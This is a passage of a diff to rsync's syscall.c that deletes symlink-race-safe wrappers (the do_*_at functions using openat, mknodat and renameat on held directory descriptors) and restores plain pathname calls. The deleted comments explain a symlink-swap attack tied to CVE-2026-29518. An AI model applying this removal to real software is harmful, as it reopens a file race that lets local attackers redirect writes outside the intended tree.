0)\n-\t\t\treturn -1;\n-\t\tret = fchownat(dfd, bname, owner, group, AT_SYMLINK_NOFOLLOW);\n-\t\te = errno;\n-\t\tclose(dfd);\n-\t\terrno = e;\n-\t\treturn ret;\n-\t}\n-#endif\n-\n-\tif (!secure_relpath_active())\n-\t\treturn do_lchown(fname, owner, group);\n-\n-\tif (!fname || !*fname || *fname == '/')\n-\t\treturn do_lchown(fname, owner, group);\n-\n-\tslash = strrchr(fname, '/');\n-\tif (!slash)\n-\t\treturn do_lchown(fname, owner, group);\n-\n-\tdlen = slash - fname;\n-\tif (dlen >= sizeof dirpath) {\n-\t\terrno = ENAMETOOLONG;\n-\t\treturn -1;\n-\t}\n-\tmemcpy(dirpath, fname, dlen);\n-\tdirpath[dlen] = '\\0';\n-\tbname = slash + 1;\n-\n-\tdfd = secure_relative_dirfd(NULL, dirpath);\n-\tif (dfd < 0)\n-\t\treturn -1;\n-\n-\tret = fchownat(dfd, bname, owner, group, AT_SYMLINK_NOFOLLOW);\n-\te = errno;\n-\tclose(dfd);\n-\terrno = e;\n-\treturn ret;\n-#else\n-\treturn do_lchown(fname, owner, group);\n-#endif\n-}\n-\n int do_mknod(const char *pathname, mode_t mode, dev_t dev)\n {\n \tif (dry_run) return 0;\n \tRETURN_ERROR_IF_RO_OR_LO;\n-\tRETURN_ERROR_IF_NULL(pathname);\n \n \t/* For --fake-super, we create a normal file with mode 0600. */\n \tif (am_root < 0) {\n@@ -1390,20 +173,11 @@ int do_mknod(const char *pathname, mode_t mode, dev_t dev)\n \t\treturn 0;\n \t}\n \n-\t/* Try mknod first: it handles every node type on Linux.  Only if it\n-\t * can't make this type on this filesystem (sockets on the BSDs/macOS/\n-\t * Solaris, or an old system lacking FIFO support) do we retry with the\n-\t * type-specific primitive.  That capability is filesystem-dependent, so\n-\t * it is decided per call -- not cached, not probed at build time. */\n-#ifdef HAVE_MKNOD\n-\tif (mknod(pathname, mode, dev) == 0)\n-\t\treturn 0;\n-#endif\n-#ifdef HAVE_MKFIFO\n+#if !defined MKNOD_CREATES_FIFOS && defined HAVE_MKFIFO\n \tif (S_ISFIFO(mode))\n \t\treturn mkfifo(pathname, mode);\n #endif\n-#ifdef HAVE_SYS_UN_H\n+#if !defined MKNOD_CREATES_SOCKETS && defined HAVE_SYS_UN_H\n \tif (S_ISSOCK(mode)) {\n \t\tint sock;\n \t\tstruct sockaddr_un saddr;\n@@ -1430,171 +204,12 @@ int do_mknod(const char *pathname, mode_t mode, dev_t dev)\n \t}\n #endif\n #ifdef HAVE_MKNOD\n-\treturn -1;\t/* mknod() failed for a regular/device node; errno is set */\n+\treturn mknod(pathname, mode, dev);\n #else\n-\terrno = ENOSYS;\n \treturn -1;\n #endif\n }\n \n-/*\n-  Symlink-race-safe variant of do_mknod() for receiver-side use. See\n-  the comment on do_chmod_at() for the threat model. Defence: open\n-  the parent of pathname under secure_relative_open() and use\n-  mknodat() against that dirfd. mknodat() covers both regular-file\n-  (S_IFREG with dev=0) and FIFO (S_IFIFO) and device-node creation.\n-\n-  A top-level (no-slash) pathname has no parent to confine, so it uses\n-  AT_FDCWD; the final component is still protected (mknodat/mkfifoat do\n-  not follow it, and the fake-super openat() uses O_NOFOLLOW).\n-\n-  Fake-super (am_root < 0) is handled inline against the (secure or\n-  AT_FDCWD) dirfd: it creates a regular empty file (the same file-as-\n-  metadata-placeholder pattern do_mknod uses) via openat() with\n-  O_NOFOLLOW so a pre-planted symlink at the basename can't redirect\n-  the file creation -- top-level paths included (the previous code fell\n-  through to the bare-path do_mknod() there, whose plain open() followed\n-  such a symlink). On Linux, sockets are recreated with mknodat() like any\n-  other special file; on systems where mknod() can't create sockets the\n-  at-variant fails instead of re-resolving an unsafe parent.\n-*/\n-int do_mknod_at(const char *pathname, mode_t mode, dev_t dev)\n-{\n-\t/* HAVE_MKNODAT: older Darwin declares AT_FDCWD but not mknodat(), so\n-\t * the at-variant won't build there; fall back to do_mknod() (#896). */\n-#if defined(AT_FDCWD) && defined(HAVE_MKNODAT)\n-\textern int am_daemon, am_chrooted;\n-\tchar dirpath[MAXPATHLEN];\n-\tconst char *bname;\n-\tconst char *slash;\n-\tint dfd = AT_FDCWD, ret, e;\n-\tBOOL owns = False;\n-\tsize_t dlen;\n-\n-\tif (dry_run) return 0;\n-\tRETURN_ERROR_IF_RO_OR_LO;\n-\n-#if defined O_NOFOLLOW && defined O_DIRECTORY\n-\tif (operator_path_resolve) {\n-\t\tif (symlink_optout_allowed())\n-\t\t\treturn do_mknod(pathname, mode, dev);\n-\t\tdfd = owner_walk_parent(pathname, &bname);\n-\t\tif (dfd < 0)\n-\t\t\treturn -1;\n-\t\tif (am_root < 0) {\n-\t\t\t/* Fake-super represents a special file with an inert regular\n-\t\t\t * placeholder.  Keep that representation when the destination\n-\t\t\t * is an operator path, but create it relative to the verified\n-\t\t\t * parent so the confinement guarantee is unchanged. */\n-\t\t\tint fd = openat(dfd, bname,\n-\t\t\t\tO_WRONLY | O_CREAT | O_TRUNC | O_NOFOLLOW,\n-\t\t\t\tS_IWUSR | S_IRUSR);\n-\t\t\tret = fd < 0 ? -1 : close(fd);\n-\t\t} else {\n-\t\t\tret = mknodat(dfd, bname, mode, dev);\n-\t\t}\n-\t\tif (ret < 0 && am_root >= 0) {\n-\t\t\t/* mknodat() can't make a FIFO/socket on the BSDs/macOS/\n-\t\t\t * Solaris (EINVAL); retry race-safely on the held dirfd,\n-\t\t\t * mirroring the secure-relpath path below.  Without this a\n-\t\t\t * FIFO backup to an operator --backup-dir fails there. */\n-#ifdef HAVE_MKFIFOAT\n-\t\t\tif (S_ISFIFO(mode))\n-\t\t\t\tret = mkfifoat(dfd, bname, mode);\n-\t\t\telse\n-#endif\n-\t\t\tif (S_ISSOCK(mode))\n-\t\t\t\terrno = EOPNOTSUPP; /* no dirfd-relative socket bind */\n-\t\t}\n-\t\te = errno;\n-\t\tclose(dfd);\n-\t\terrno = e;\n-\t\treturn ret;\n-\t}\n-#endif\n-\n-\tif (!secure_relpath_active())\n-\t\treturn do_mknod(pathname, mode, dev);\n-\n-\tif (!pathname || !*pathname || *pathname == '/')\n-\t\treturn do_mknod(pathname, mode, dev);\n-\n-\t/* A path with a slash needs secure_relative_open to confine its\n-\t * parent resolution; a top-level path lives in CWD (AT_FDCWD) with\n-\t * no parent to subvert. The final component is protected below\n-\t * regardless. */\n-\tslash = strrchr(pathname, '/');\n-\tif (slash) {\n-\t\tdlen = slash - pathname;\n-\t\tif (dlen >= sizeof dirpath) {\n-\t\t\terrno = ENAMETOOLONG;\n-\t\t\treturn -1;\n-\t\t}\n-\t\tmemcpy(dirpath, pathname, dlen);\n-\t\tdirpath[dlen] = '\\0';\n-\t\tbname = slash + 1;\n-\t\tdfd = secure_relative_dirfd(NULL, dirpath);\n-\t\tif (dfd < 0)\n-\t\t\treturn -1;\n-\t\towns = True;\n-\t} else {\n-\t\tbname = pathname;\n-\t}\n-\n-\tif (am_root < 0) {\n-\t\t/* For --fake-super, do_mknod creates a regular empty\n-\t\t * file as a placeholder for the special-file metadata\n-\t\t * (which is stored in xattrs elsewhere). Do that against\n-\t\t * the (secure or AT_FDCWD) dirfd, with O_NOFOLLOW so a\n-\t\t * pre-planted symlink at the basename can't redirect the\n-\t\t * file creation. */\n-\t\tint fd = openat(dfd, bname,\n-\t\t\t\tO_WRONLY | O_CREAT | O_TRUNC | O_NOFOLLOW,\n-\t\t\t\tS_IWUSR | S_IRUSR);\n-\t\tif (fd < 0) {\n-\t\t\te = errno;\n-\t\t\tif (owns) close(dfd);\n-\t\t\terrno = e;\n-\t\t\treturn -1;\n-\t\t}\n-\t\tret = (close(fd) < 0) ? -1 : 0;\n-\t\te = errno;\n-\t\tif (owns) close(dfd);\n-\t\terrno = e;\n-\t\treturn ret;\n-\t}\n-\n-\t/* Try mknodat first (handles every type on Linux); on failure retry\n-\t * race-safely with the type-specific primitive.  Decided per call --\n-\t * the capability is filesystem-dependent (see do_mknod()). */\n-\tret = mknodat(dfd, bname, mode, dev);\n-\tif (ret < 0) {\n-#ifdef HAVE_MKFIFOAT\n-\t\tif (S_ISFIFO(mode))\n-\t\t\tret = mkfifoat(dfd, bname, mode);\n-\t\telse\n-#endif\n-\t\tif (S_ISSOCK(mode)) {\n-\t\t\t/* There is no dirfd-relative socket bind without\n-\t\t\t * /proc/self/fd: a top-level path can bind via\n-\t\t\t * do_mknod(), but a nested one fails safe rather than\n-\t\t\t * re-resolve a potentially unsafe parent. */\n-\t\t\tif (dfd == AT_FDCWD)\n-\t\t\t\tret = do_mknod(pathname, mode, dev);\n-\t\t\telse\n-\t\t\t\terrno = EOPNOTSUPP;\n-\t\t}\n-\t\t/* else: regular/device node -- keep mknodat()'s errno */\n-\t}\n-\te = errno;\n-\tif (owns) close(dfd);\n-\terrno = e;\n-\treturn ret;\n-#else\n-\treturn do_mknod(pathname, mode, dev);\n-#endif\n-}\n-\n int do_rmdir(const char *pathname)\n {\n \tif (dry_run) return 0;\n@@ -1602,76 +217,8 @@ int do_rmdir(const char *pathname)\n \treturn rmdir(pathname);\n }\n \n-/*\n-  Symlink-race-safe variant of do_rmdir(). See do_unlink_at() above;\n-  same shape but with AT_REMOVEDIR set to require the target be a\n-  directory.\n-*/\n-int do_rmdir_at(const char *pathname)\n-{\n-#ifdef AT_FDCWD\n-\textern int am_daemon, am_chrooted;\n-\tchar dirpath[MAXPATHLEN];\n-\tconst char *bname;\n-\tconst char *slash;\n-\tint dfd, ret, e;\n-\tsize_t dlen;\n-\n-\tif (dry_run) return 0;\n-\tRETURN_ERROR_IF_RO_OR_LO;\n-\tRETURN_ERROR_IF_NULL(pathname);\n-\n-#if defined O_NOFOLLOW && defined O_DIRECTORY\n-\tif (operator_path_resolve) {\n-\t\tif (symlink_optout_allowed())\n-\t\t\treturn do_rmdir(pathname);\n-\t\tdfd = owner_walk_parent(pathname, &bname);\n-\t\tif (dfd < 0)\n-\t\t\treturn -1;\n-\t\tret = unlinkat(dfd, bname, AT_REMOVEDIR);\n-\t\te = errno;\n-\t\tclose(dfd);\n-\t\terrno = e;\n-\t\treturn ret;\n-\t}\n-#endif\n-\n-\tif (!secure_relpath_active())\n-\t\treturn rmdir(pathname);\n-\n-\tif (!pathname || !*pathname || *pathname == '/')\n-\t\treturn rmdir(pathname);\n-\n-\tslash = strrchr(pathname, '/');\n-\tif (!slash)\n-\t\treturn rmdir(pathname);\n-\n-\tdlen = slash - pathname;\n-\tif (dlen >= sizeof dirpath) {\n-\t\terrno = ENAMETOOLONG;\n-\t\treturn -1;\n-\t}\n-\tmemcpy(dirpath, pathname, dlen);\n-\tdirpath[dlen] = '\\0';\n-\tbname = slash + 1;\n-\n-\tdfd = secure_relative_dirfd(NULL, dirpath);\n-\tif (dfd < 0)\n-\t\treturn -1;\n-\n-\tret = unlinkat(dfd, bname, AT_REMOVEDIR);\n-\te = errno;\n-\tclose(dfd);\n-\terrno = e;\n-\treturn ret;\n-#else\n-\treturn do_rmdir(pathname);\n-#endif\n-}\n-\n int do_open(const char *pathname, int flags, mode_t mode)\n {\n-\tRETURN_ERROR_IF_NULL(pathname);\n \tif (flags != O_RDONLY) {\n \t\tRETURN_ERROR_IF(dry_run, 0);\n \t\tRETURN_ERROR_IF_RO_OR_LO;\n@@ -1685,91 +232,6 @@ int do_open(const char *pathname, int flags, mode_t mode)\n \treturn open(pathname, flags | O_BINARY, mode);\n }\n \n-/*\n-  Symlink-race-safe variant of do_open() for receiver-side use. See\n-  the comment on do_chmod_at() for the threat model. open() resolves\n-  parent components, so a parent-symlink swap can redirect the open\n-  to a file outside the module. This wrapper is defence-in-depth for\n-  bare-path do_open() sites that callers know are otherwise\n-  protected by secure parent-syscalls (e.g. generator.c's in-place\n-  backup creation, where robust_unlink() rejects the symlinked\n-  parent before this open is reached): if any of those upstream\n-  protections is later removed or regresses, the open here still\n-  refuses to escape the module.\n-\n-  Defence: open the parent of pathname under secure_relative_open()\n-  and call openat() against the resulting dirfd with O_NOFOLLOW\n-  (so the basename itself isn't followed if it happens to be a\n-  pre-planted symlink, which is what we want for O_CREAT|O_EXCL).\n-*/\n-int do_open_at(const char *pathname, int flags, mode_t mode)\n-{\n-#ifdef AT_FDCWD\n-\textern int am_daemon, am_chrooted;\n-\tchar dirpath[MAXPATHLEN];\n-\tconst char *bname;\n-\tconst char *slash;\n-\tint dfd, ret, e;\n-\tsize_t dlen;\n-\n-\tif (flags != O_RDONLY) {\n-\t\tRETURN_ERROR_IF(dry_run, 0);\n-\t\tRETURN_ERROR_IF_RO_OR_LO;\n-\t}\n-\n-#if defined O_NOFOLLOW && defined O_DIRECTORY\n-\tif (operator_path_resolve) {\n-\t\tif (symlink_optout_allowed())\n-\t\t\treturn do_open(pathname, flags, mode);\n-\t\tdfd = owner_walk_parent(pathname, &bname);\n-\t\tif (dfd < 0)\n-\t\t\treturn -1;\n-\t\tret = openat(dfd, bname, flags | O_NOFOLLOW, mode);\n-\t\te = errno;\n-\t\tclose(dfd);\n-\t\terrno = e;\n-\t\treturn ret;\n-\t}\n-#endif\n-\n-\tif (!secure_relpath_active())\n-\t\treturn do_open(pathname, flags, mode);\n-\n-\tif (!pathname || !*pathname || *pathname == '/')\n-\t\treturn do_open(pathname, flags, mode);\n-\n-\tslash = strrchr(pathname, '/');\n-\tif (!slash)\n-\t\treturn do_open(pathname, flags, mode);\n-\n-\tdlen = slash - pathname;\n-\tif (dlen >= sizeof dirpath) {\n-\t\terrno = ENAMETOOLONG;\n-\t\treturn -1;\n-\t}\n-\tmemcpy(dirpath, pathname, dlen);\n-\tdirpath[dlen] = '\\0';\n-\tbname = slash + 1;\n-\n-\tdfd = secure_relative_dirfd(NULL, dirpath);\n-\tif (dfd < 0)\n-\t\treturn -1;\n-\n-#ifdef O_NOATIME\n-\tif (open_noatime)\n-\t\tflags |= O_NOATIME;\n-#endif\n-\n-\tret = openat(dfd, bname, flags | O_NOFOLLOW | O_BINARY, mode);\n-\te = errno;\n-\tclose(dfd);\n-\terrno = e;\n-\treturn ret;\n-#else\n-\treturn do_open(pathname, flags, mode);\n-#endif\n-}\n-\n #ifdef HAVE_CHMOD\n int do_chmod(const char *path, mode_t mode)\n {\n@@ -1778,7 +240,6 @@ int do_chmod(const char *path, mode_t mode)\n \n \tif (dry_run) return 0;\n \tRETURN_ERROR_IF_RO_OR_LO;\n-\tRETURN_ERROR_IF_NULL(path);\n \n \tswitch (switch_step) {\n #ifdef HAVE_LCHMOD\n@@ -1804,8 +265,6 @@ int do_chmod(const char *path, mode_t mode)\n \t\t\t\tbreak;\n \t\t\tif (errno == ENOTSUP)\n \t\t\t\tcode = 1;\n-# elif defined AT_FDCWD && defined AT_SYMLINK_NOFOLLOW\n-\t\t\tcode = fchmodat(AT_FDCWD, path, mode & CHMOD_BITS, AT_SYMLINK_NOFOLLOW);\n # else\n \t\t\tcode = 1;\n # endif\n@@ -1817,536 +276,68 @@ int do_chmod(const char *path, mode_t mode)\n \t\treturn code;\n \treturn 0;\n }\n+#endif\n \n-/* chmod `name` relative to dfd without following a final-component symlink.\n- * The held parent fd confines the ancestors; this closes the leaf race (an\n- * attacker swapping the leaf to a symlink that fchmodat(...,0) would follow out\n- * of the tree).\n- *\n- * Never follows the leaf: a regular file or dir is pinned via\n- * openat(O_NOFOLLOW) and chmod'd with fchmod() (leaf-safe, every kernel, and\n- * fakeroot-wrappable unlike the raw fchmodat2() syscall); a symlink leaf is\n- * refused (ELOOP, or EMLINK/EFTYPE on the BSDs).  Other types or an open\n- * failure fall to fchmodat(AT_SYMLINK_NOFOLLOW) (a real no-follow chmod on\n- * glibc>=2.32 / Linux>=6.6), then the raw fchmodat2() syscall.  If no\n- * no-follow primitive exists we skip with a warning rather than follow the\n- * leaf.\n- *\n- * A FIFO takes the fd path on Linux and the pathname path elsewhere -- see the\n- * S_ISFIFO arm below for why, and for what that costs.  Note the type used to\n- * choose between them comes from the lstat above, so a leaf swapped between\n- * that and the open is classified by what it WAS: an observed regular file or\n- * dir that becomes a FIFO is still opened.  O_NOFOLLOW rejects symlinks, not\n- * type changes.  Constraining the open to the observed type would close that;\n- * it is not done here. */\n-static int do_fchmodat_nofollow(int dfd, const char *name, mode_t mode)\n+int do_rename(const char *old_path, const char *new_path)\n {\n-#if defined AT_FDCWD && defined AT_SYMLINK_NOFOLLOW\n-\tmode &= CHMOD_BITS;\n-# ifdef O_NOFOLLOW\n-\t{\n-\t\tSTRUCT_STAT st;\n-\t\tint oflags = O_RDONLY | O_NOFOLLOW | O_NONBLOCK | O_NOCTTY;\n-\t\tif (do_lstat_atfd(dfd, name, &st) < 0)\n-\t\t\treturn -1;\n-\t\tif (S_ISLNK(st.st_mode)) {\n-\t\t\terrno = ELOOP;\t/* refuse to chmod through a symlink leaf */\n-\t\t\treturn -1;\n-\t\t}\n-\t\tif (S_ISREG(st.st_mode) || S_ISDIR(st.st_mode) || S_ISFIFO(st.st_mode)) {\n-\t\t\tint fd;\n-#  ifndef __linux__\n-\t\t\t/* Never open a FIFO here.  Opening one -- even O_NONBLOCK --\n-\t\t\t * makes this process a reader for as long as the descriptor\n-\t\t\t * lives, which wakes a writer blocked in open(O_WRONLY) and\n-\t\t\t * can cost it a SIGPIPE or the bytes it writes before we\n-\t\t\t * close.  The pathname call reaches the same end state\n-\t\t\t * without that: it succeeds outright when the mode is\n-\t\t\t * grantable, and when macOS refuses an ungrantable setgid\n-\t\t\t * with EPERM (having applied nothing), asking again without\n-\t\t\t * that bit gives exactly what fchmod() would have -- it drops\n-\t\t\t * the bit it cannot grant and applies the ordinary ones.\n-\t\t\t * Measured on macOS: fchmodat(2750) EPERM leaving 0600,\n-\t\t\t * fchmodat(0750) ok giving 0750, for a FIFO and a directory\n-\t\t\t * alike.\n-\t\t\t *\n-\t\t\t * This is a pathname call, so unlike the descriptor path it\n-\t\t\t * does not pin the inode; a leaf swapped for another object\n-\t\t\t * of the same name is chmod'd instead.  AT_SYMLINK_NOFOLLOW\n-\t\t\t * still keeps it off a symlink's target.  That trade buys\n-\t\t\t * away the reader hazard, and only for FIFOs.\n-\t\t\t *\n-\t\t\t * Only S_ISGID is retried.  An ungrantable S_ISUID would\n-\t\t\t * still fail where fchmod() would have cleared it, but\n-\t\t\t * setuid is meaningless on a FIFO and the behaviour is\n-\t\t\t * undemonstrated, so it is not coded for.\n-\t\t\t *\n-\t\t\t * Linux keeps the fd-first order it has always had. */\n-\t\t\tif (S_ISFIFO(st.st_mode)) {\n-\t\t\t\tif (fchmodat(dfd, name, mode, AT_SYMLINK_NOFOLLOW) == 0)\n-\t\t\t\t\treturn 0;\n-\t\t\t\tif (errno == EPERM && (mode & S_ISGID)\n-\t\t\t\t && fchmodat(dfd, name, mode & ~S_ISGID,\n-\t\t\t\t\t     AT_SYMLINK_NOFOLLOW) == 0)\n-\t\t\t\t\treturn 0;\n-\t\t\t\treturn -1;\n-\t\t\t}\n-#  endif\n-#  ifdef O_CLOEXEC\n-\t\t\toflags |= O_CLOEXEC;\n-#  endif\n-\t\t\tfd = openat(dfd, name, oflags);\n-\t\t\tif (fd >= 0) {\n-\t\t\t\tint r = fchmod(fd, mode), e = errno;\n-\t\t\t\tclose(fd);\n-\t\t\t\terrno = e;\n-\t\t\t\treturn r;\n-\t\t\t}\n-\t\t\t/* A leaf swapped for a symlink between the lstat above and\n-\t\t\t * this open: refuse rather than fall through.  The errno is\n-\t\t\t * not the same everywhere -- Linux/Solaris ELOOP, FreeBSD\n-\t\t\t * EMLINK, NetBSD EFTYPE. */\n-\t\t\tif (errno == ELOOP\n-#  ifdef EMLINK\n-\t\t\t    || errno == EMLINK\n-#  endif\n-#  ifdef EFTYPE\n-\t\t\t    || errno == EFTYPE\n-#  endif\n-\t\t\t   )\n-\t\t\t\treturn -1;\t/* raced to a symlink: refuse */\n-\t\t\t/* otherwise (e.g. EACCES on an unreadable file) fall through */\n-\t\t}\n-\t}\n-# endif\n-# if defined __linux__\n-\t{\n-\t\tint r = fchmodat(dfd, name, mode, AT_SYMLINK_NOFOLLOW);\n-\t\tif (r == 0)\n-\t\t\treturn 0;\n-\t\tif (errno != ENOTSUP && errno != EOPNOTSUPP && errno != ENOSYS)\n-\t\t\treturn r;\t/* a real error (EPERM, ENOENT, ...) */\n-\t}\n-#  ifdef SYS_fchmodat2\n-\t{\n-\t\tint r = syscall(SYS_fchmodat2, dfd, name, (unsigned int)mode, AT_SYMLINK_NOFOLLOW);\n-\t\tif (r == 0)\n-\t\t\treturn 0;\n-\t\tif (errno != ENOSYS && errno != EPERM && errno != EOPNOTSUPP)\n-\t\t\treturn r;\n-\t}\n-#  endif\n-\t/* No symlink-safe chmod primitive here: skip rather than follow the leaf. */\n-\trprintf(FWARNING, \"do_chmod: no symlink-safe chmod for \\\"%s\\\"; mode not set\\n\", name);\n-\treturn 1;\n-# else\n-\treturn fchmodat(dfd, name, mode, AT_SYMLINK_NOFOLLOW);\n-# endif\n-#else\n-\t(void)dfd;\n-\t(void)mode;\n-\t/* No symlink-safe chmod primitive here: skip rather than follow the leaf. */\n-\trprintf(FWARNING, \"do_chmod: no symlink-safe chmod for \\\"%s\\\"; mode not set\\n\", name);\n-\treturn 1;\n-#endif\n+\tif (dry_run) return 0;\n+\tRETURN_ERROR_IF_RO_OR_LO;\n+\treturn rename(old_path, new_path);\n }\n \n-/*\n-  Symlink-race-safe variant of do_chmod() for receiver-side use.\n-\n-  Threat model: on a daemon running with \"use chroot = no\" (the prerequisite\n-  for CVE-2026-29518), a local attacker can race a symlink swap of one of\n-  the parent directory components of a path the receiver is about to chmod.\n-  Because chmod() resolves symlinks at every component, the swap redirects\n-  the chmod outside the receiver's confinement.\n-\n-  Defence: open the *parent* directory of fname under secure_relative_open()\n-  (a portable per-component O_NOFOLLOW walk on held parent dirfds) and do\n-  fchmodat() against that dirfd. A symlink substituted into one of the parent\n-  components is then either followed within the tree (legitimate dir-symlinks\n-  still work) or rejected (escape attempts fail).\n-\n-  Final-component handling matches do_chmod(): fchmodat() with flag 0\n-  follows a symlink at the final component, which is the same behaviour as\n-  chmod() and matches every current call site (the file being chmod'd is\n-  one the receiver itself just created or transferred). For the rare case\n-  where the caller wants to chmod a symlink-as-an-object (S_ISLNK in the\n-  mode bits), we fall through to do_chmod() which has portability code for\n-  that case.\n-\n-  Falls back to do_chmod() for absolute paths and for paths with no parent\n-  component, where there is nothing to protect against.\n-*/\n-int do_chmod_at(const char *fname, mode_t mode)\n+#ifdef HAVE_FTRUNCATE\n+int do_ftruncate(int fd, OFF_T size)\n {\n-#ifdef AT_FDCWD\n-\textern int am_daemon, am_chrooted;\n-\tchar dirpath[MAXPATHLEN];\n-\tconst char *bname;\n-\tconst char *slash;\n-\tint dfd, ret, e;\n-\tsize_t dlen;\n+\tint ret;\n \n \tif (dry_run) return 0;\n \tRETURN_ERROR_IF_RO_OR_LO;\n \n-#if defined O_NOFOLLOW && defined O_DIRECTORY\n-\t/* Operator-supplied path: resolve the parent via the ownership walk, as\n-\t * the other do_*_at() wrappers do.  Without this the caller's\n-\t * operator_path_resolve has no effect here, and an absolute name would\n-\t * fall straight through to the unconfined full-path do_chmod().\n-\t * S_ISLNK(mode) still needs do_chmod()'s lchmod()/setattrlist() handling. */\n-\tif (operator_path_resolve && fname && *fname && !S_ISLNK(mode)) {\n-\t\tif (symlink_optout_allowed())\n-\t\t\treturn do_chmod(fname, mode);\n-\t\tdfd = owner_walk_parent(fname, &bname);\n-\t\tif (dfd < 0)\n-\t\t\treturn -1;\n-\t\tret = do_fchmodat_nofollow(dfd, bname, mode);\n-\t\te = errno;\n-\t\tclose(dfd);\n-\t\terrno = e;\n-\t\treturn ret;\n-\t}\n-#endif\n-\n-\t/* Only the daemon-without-chroot case is exposed to the symlink-\n-\t * race attack: a chroot already confines the receiver, and a\n-\t * non-daemon rsync runs with the user's own authority so a\n-\t * symlink they planted can only redirect to files they could\n-\t * already access.  Everywhere else, fall through to plain\n-\t * do_chmod() to avoid the dirfd-open overhead on every call. */\n-\tif (!secure_relpath_active())\n-\t\treturn do_chmod(fname, mode);\n-\n-\tif (!fname || !*fname || *fname == '/' || S_ISLNK(mode))\n-\t\treturn do_chmod(fname, mode);\n-\n-\tslash = strrchr(fname, '/');\n-\tif (!slash)\n-\t\treturn do_chmod(fname, mode);\n-\n-\tdlen = slash - fname;\n-\tif (dlen >= sizeof dirpath) {\n-\t\terrno = ENAMETOOLONG;\n-\t\treturn -1;\n-\t}\n-\tmemcpy(dirpath, fname, dlen);\n-\tdirpath[dlen] = '\\0';\n-\tbname = slash + 1;\n-\n-\tdfd = secure_relative_dirfd(NULL, dirpath);\n-\tif (dfd < 0)\n-\t\treturn -1;\n+\tdo {\n+\t\tret = ftruncate(fd, size);\n+\t} while (ret < 0 && errno == EINTR);\n \n-\tret = do_fchmodat_nofollow(dfd, bname, mode);\n-\te = errno;\n-\tclose(dfd);\n-\terrno = e;\n \treturn ret;\n-#else\n-\treturn do_chmod(fname, mode);\n-#endif\n }\n #endif\n \n-int do_rename(const char *old_path, const char *new_path)\n+void trim_trailing_slashes(char *name)\n {\n-\tif (dry_run) return 0;\n-\tRETURN_ERROR_IF_RO_OR_LO;\n-\treturn rename(old_path, new_path);\n-}\n+\tint l;\n+\t/* Some BSD systems cannot make a directory if the name\n+\t * contains a trailing slash.\n+\t * <http://www.opensource.apple.com/bugs/X/BSD%20Kernel/2734739.html> */\n \n-/*\n-  Symlink-race-safe variant of do_rename() for receiver-side use. See\n-  the comment on do_chmod_at() for the threat model and design rationale.\n+\t/* Don't change empty string; and also we can't improve on\n+\t * \"/\" */\n \n-  rename() is the central tmp -> final operation in rsync; if either the\n-  source or the destination has an attacker-substituted symlink in one\n-  of its parent components, the rename can publish or vanish files\n-  outside the module. Defence: open the parent of *each* path under\n-  secure_relative_open() and use renameat() against the resulting\n-  dirfds. When old_path and new_path share the same parent (the common\n-  case -- tmp file living next to its final name), we reuse the same\n-  dirfd for both sides.\n+\tl = strlen(name);\n+\twhile (l > 1) {\n+\t\tif (name[--l] != '/')\n+\t\t\tbreak;\n+\t\tname[l] = '\\0';\n+\t}\n+}\n \n-  Falls through to do_rename() in dry-run, non-daemon, chrooted and\n-  absolute-path cases, identical to the other do_*_at() wrappers.\n-*/\n-int do_rename_at(const char *old_path, const char *new_path)\n+int do_mkdir(char *path, mode_t mode)\n {\n-#ifdef AT_FDCWD\n-\textern int am_daemon, am_chrooted;\n-\tchar old_dirpath[MAXPATHLEN], new_dirpath[MAXPATHLEN];\n-\tconst char *old_bname, *new_bname;\n-\tconst char *old_slash, *new_slash;\n-\tint old_dfd = AT_FDCWD, new_dfd = AT_FDCWD;\n-\tBOOL old_owns = False, new_owns = False;\n-\tint ret = -1, e;\n-\tsize_t old_dlen = 0, new_dlen = 0;\n-\n \tif (dry_run) return 0;\n \tRETURN_ERROR_IF_RO_OR_LO;\n+\ttrim_trailing_slashes(path);\n+\treturn mkdir(path, mode);\n+}\n \n-\tif (!secure_relpath_active())\n-\t\treturn do_rename(old_path, new_path);\n-\n-\tif (!old_path || !*old_path || !new_path || !*new_path)\n-\t\treturn do_rename(old_path, new_path);\n+/* like mkstemp but forces permissions */\n+int do_mkstemp(char *template, mode_t perms)\n+{\n+\tRETURN_ERROR_IF(dry_run, 0);\n+\tRETURN_ERROR_IF(read_only, EROFS);\n+\tperms |= S_IWUSR;\n \n-#if defined O_NOFOLLOW && defined O_DIRECTORY\n-\t/* Operator-supplied path (e.g. a --backup-dir destination or a --temp-dir\n-\t * source): resolve each side's parent via the ownership walk (follow\n-\t * uid0/euid symlinks, refuse others; absolute and relative alike). */\n-\tif (operator_path_resolve) {\n-\t\tif (symlink_optout_allowed())\n-\t\t\treturn do_rename(old_path, new_path);\n-\t\told_dfd = owner_walk_parent(old_path, &old_bname);\n-\t\tif (old_dfd < 0)\n-\t\t\treturn -1;\n-\t\tnew_dfd = owner_walk_parent(new_path, &new_bname);\n-\t\tif (new_dfd < 0) {\n-\t\t\te = errno;\n-\t\t\tclose(old_dfd);\n-\t\t\terrno = e;\n-\t\t\treturn -1;\n-\t\t}\n-\t\tret = renameat(old_dfd, old_bname, new_dfd, new_bname);\n-\t\te = errno;\n-\t\tclose(new_dfd);\n-\t\tclose(old_dfd);\n-\t\terrno = e;\n-\t\treturn ret;\n-\t}\n-#endif\n-\n-\told_slash = strrchr(old_path, '/');\n-\tnew_slash = strrchr(new_path, '/');\n-\n-\t/* Confine each side independently.  A *relative* side is a transfer path,\n-\t * confined beneath the tree via secure_relative_open().  An *absolute* side is\n-\t * an operator path (an absolute --temp-dir/--partial-dir temp file): resolve\n-\t * its parent via the ownership walk so a flipped foreign-owned parent symlink\n-\t * can't redirect the rename out of tree, while still allowing the operator's\n-\t * own dirs/\"..\"/uid0-or-euid symlinks.  (--insecure-links keeps the legacy\n-\t * unconfined AT_FDCWD path.)  Doing each side independently means an absolute\n-\t * source never disables confinement of a relative destination. */\n-\tif (*old_path == '/') {\n-#if defined O_NOFOLLOW && defined O_DIRECTORY\n-\t\tif (!symlink_optout_allowed()) {\n-\t\t\toperator_path_resolve = 1;\t/* operator side: enforce module-exclude */\n-\t\t\told_dfd = owner_walk_parent(old_path, &old_bname);\n-\t\t\toperator_path_resolve = 0;\n-\t\t\tif (old_dfd < 0)\n-\t\t\t\treturn -1;\n-\t\t\told_owns = True;\n-\t\t} else\n-#endif\n-\t\t\told_bname = old_path;\n-\t} else if (old_slash) {\n-\t\told_dlen = old_slash - old_path;\n-\t\tif (old_dlen >= sizeof old_dirpath) {\n-\t\t\terrno = ENAMETOOLONG;\n-\t\t\treturn -1;\n-\t\t}\n-\t\tmemcpy(old_dirpath, old_path, 